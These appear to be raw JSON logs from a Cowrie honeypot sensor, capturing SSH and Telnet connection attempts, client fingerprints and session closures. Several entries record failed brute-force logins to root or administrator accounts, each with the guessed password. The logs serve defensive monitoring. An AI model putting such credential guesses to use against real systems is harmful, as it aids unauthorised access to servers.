{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:32.415498Z","src_ip":"181.47.9.103","session":"cdf5ee09ee4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alejo","message":"login attempt [root/alejo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:33.015778Z","src_ip":"181.47.9.103","session":"cdf5ee09ee4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:34.160675Z","src_ip":"181.47.9.103","session":"cdf5ee09ee4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":52072,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac6bb1a10c74","protocol":"ssh","message":"New connection: 43.130.38.88:52072 (159.203.135.109:22) [session: ac6bb1a10c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:35.795528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:35.800353Z","src_ip":"43.130.38.88","session":"ac6bb1a10c74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:35.873010Z","src_ip":"43.130.38.88","session":"ac6bb1a10c74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"password123","message":"login attempt [administrator/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:36.181282Z","src_ip":"43.130.38.88","session":"ac6bb1a10c74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:37.253336Z","src_ip":"43.130.38.88","session":"ac6bb1a10c74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.64339065551758,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:40.490225Z","src_ip":"152.42.224.71","session":"68eb495484ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59462,"dst_ip":"10.17.0.5","dst_port":23,"session":"feda0ee6c72a","protocol":"telnet","message":"New connection: 152.42.224.71:59462 (10.17.0.5:23) [session: feda0ee6c72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:42.394448Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":40018,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc5239cabb46","protocol":"ssh","message":"New connection: 43.133.34.13:40018 (159.203.135.109:22) [session: fc5239cabb46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:42.937979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:42.942298Z","src_ip":"43.133.34.13","session":"fc5239cabb46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":36556,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcfa4e96ba5c","protocol":"ssh","message":"New connection: 68.183.236.1:36556 (159.203.135.109:22) [session: bcfa4e96ba5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:43.186170Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:43.190729Z","src_ip":"43.133.34.13","session":"fc5239cabb46","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:43.195282Z","src_ip":"68.183.236.1","session":"bcfa4e96ba5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:43.431797Z","src_ip":"68.183.236.1","session":"bcfa4e96ba5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59474,"dst_ip":"10.17.0.5","dst_port":23,"session":"44d62fcfdcd9","protocol":"telnet","message":"New connection: 152.42.224.71:59474 (10.17.0.5:23) [session: 44d62fcfdcd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:43.738057Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"lyc123","message":"login attempt [root/lyc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:44.200089Z","src_ip":"43.133.34.13","session":"fc5239cabb46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":44204,"dst_ip":"159.203.135.109","dst_port":22,"session":"6258e9aa4ca5","protocol":"ssh","message":"New connection: 147.45.199.80:44204 (159.203.135.109:22) [session: 6258e9aa4ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:44.286125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:44.293937Z","src_ip":"147.45.199.80","session":"6258e9aa4ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"charlie123","message":"login attempt [root/charlie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:44.410439Z","src_ip":"68.183.236.1","session":"bcfa4e96ba5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:44.422776Z","src_ip":"147.45.199.80","session":"6258e9aa4ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.33057641983032,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:44.567832Z","src_ip":"152.42.224.71","session":"908a87782cd6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"fktrcfyl","message":"login attempt [root/fktrcfyl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:44.805014Z","src_ip":"147.45.199.80","session":"6258e9aa4ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:45.448096Z","src_ip":"43.133.34.13","session":"fc5239cabb46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:45.649878Z","src_ip":"68.183.236.1","session":"bcfa4e96ba5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:45.936826Z","src_ip":"147.45.199.80","session":"6258e9aa4ca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":49414,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4dfdfeba083","protocol":"ssh","message":"New connection: 103.183.114.55:49414 (10.17.0.5:22) [session: b4dfdfeba083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:58.178773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:58.183859Z","src_ip":"103.183.114.55","session":"b4dfdfeba083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:58.418101Z","src_ip":"103.183.114.55","session":"b4dfdfeba083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t","message":"login attempt [root/q1w2e3r4t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:59.091916Z","src_ip":"103.183.114.55","session":"b4dfdfeba083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.91160678863525,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:59.120871Z","src_ip":"152.42.224.71","session":"69fe7abb495b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59618,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e39fca15967","protocol":"telnet","message":"New connection: 152.42.224.71:59618 (10.17.0.5:23) [session: 3e39fca15967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:59.289436Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":35478,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b80c2c599a9","protocol":"ssh","message":"New connection: 43.135.177.217:35478 (10.17.0.5:22) [session: 4b80c2c599a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:00.070065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:00.074173Z","src_ip":"43.135.177.217","session":"4b80c2c599a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:00.142392Z","src_ip":"43.135.177.217","session":"4b80c2c599a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:00.318812Z","src_ip":"103.183.114.55","session":"b4dfdfeba083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tech$123","message":"login attempt [root/Tech$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:00.449000Z","src_ip":"43.135.177.217","session":"4b80c2c599a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59632,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a62a3458880","protocol":"telnet","message":"New connection: 152.42.224.71:59632 (10.17.0.5:23) [session: 2a62a3458880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:01.055445Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:01.520617Z","src_ip":"43.135.177.217","session":"4b80c2c599a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.245","src_port":34394,"dst_ip":"10.17.0.5","dst_port":22,"session":"04a4f55bc90d","protocol":"ssh","message":"New connection: 179.61.232.245:34394 (10.17.0.5:22) [session: 04a4f55bc90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.271792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.276836Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.305603Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
